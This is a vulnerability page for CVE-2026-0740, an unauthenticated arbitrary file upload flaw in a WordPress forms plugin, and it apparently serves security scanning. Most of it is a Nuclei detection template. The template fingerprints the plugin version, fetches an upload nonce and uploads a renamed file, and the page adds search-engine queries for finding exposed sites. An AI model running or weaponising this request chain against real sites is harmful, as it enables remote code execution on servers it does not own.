CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload

2026-05-14 Ninja Forms PoC Public

Description

Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.

PoC

id: CVE-2026-0740

info:
  name: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload
  author: whattheslime
  severity: critical
  description: |
    Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update Ninja Forms File Uploads plugin to version 3.3.27 or later.
  reference:
    - https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0740
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0740
    epss-score: 0.62903
    epss-percentile: 0.99156
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: ninjaforms
    product: ninja_forms_file_uploads
    cpe: cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:*
    shodan-query: http.html:"nfpluginsettings.js?ver="
    fofa-query: body="nfpluginsettings.js?ver="
  tags: cve,cve2026,wordpress,wp,wp-plugin,ninja-forms-uploads,file-upload,rce,vkev

variables:
  field_id: "{{rand_int(1000000000, 9999999999)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "nfpluginsettings.js")'
          - 'status_code == 200'
          - 'compare_versions(version, "<= 3.3.26")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'nfpluginsettings\.js\?ver=([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_fu_get_new_nonce&field_id={{field_id}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"success\":true")'
          - 'contains(body, "\"nonce\":")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        part: body
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=nucleiboundary

        --nucleiboundary
        Content-Disposition: form-data; name="action"

        nf_fu_upload
        --nucleiboundary
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        --nucleiboundary
        Content-Disposition: form-data; name="form_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="field_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="files-{{field_id}}"; filename="image.jpg"
        Content-Type: image/jpeg

        {{randstr}}
        --nucleiboundary
        Content-Disposition: form-data; name="image_jpg"

        {{randstr}}.txt
        --nucleiboundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "data\":{\"files", "tmp_name\":", "new_tmp_key\":")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220571608499cf714434abcf22edfe257f5b12c5abf3625f97e208965e5917f02300220246b48e1fc06bcf0b83196ad910e98ca611caf41db7ae8c7e9a92ddabebfe525:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities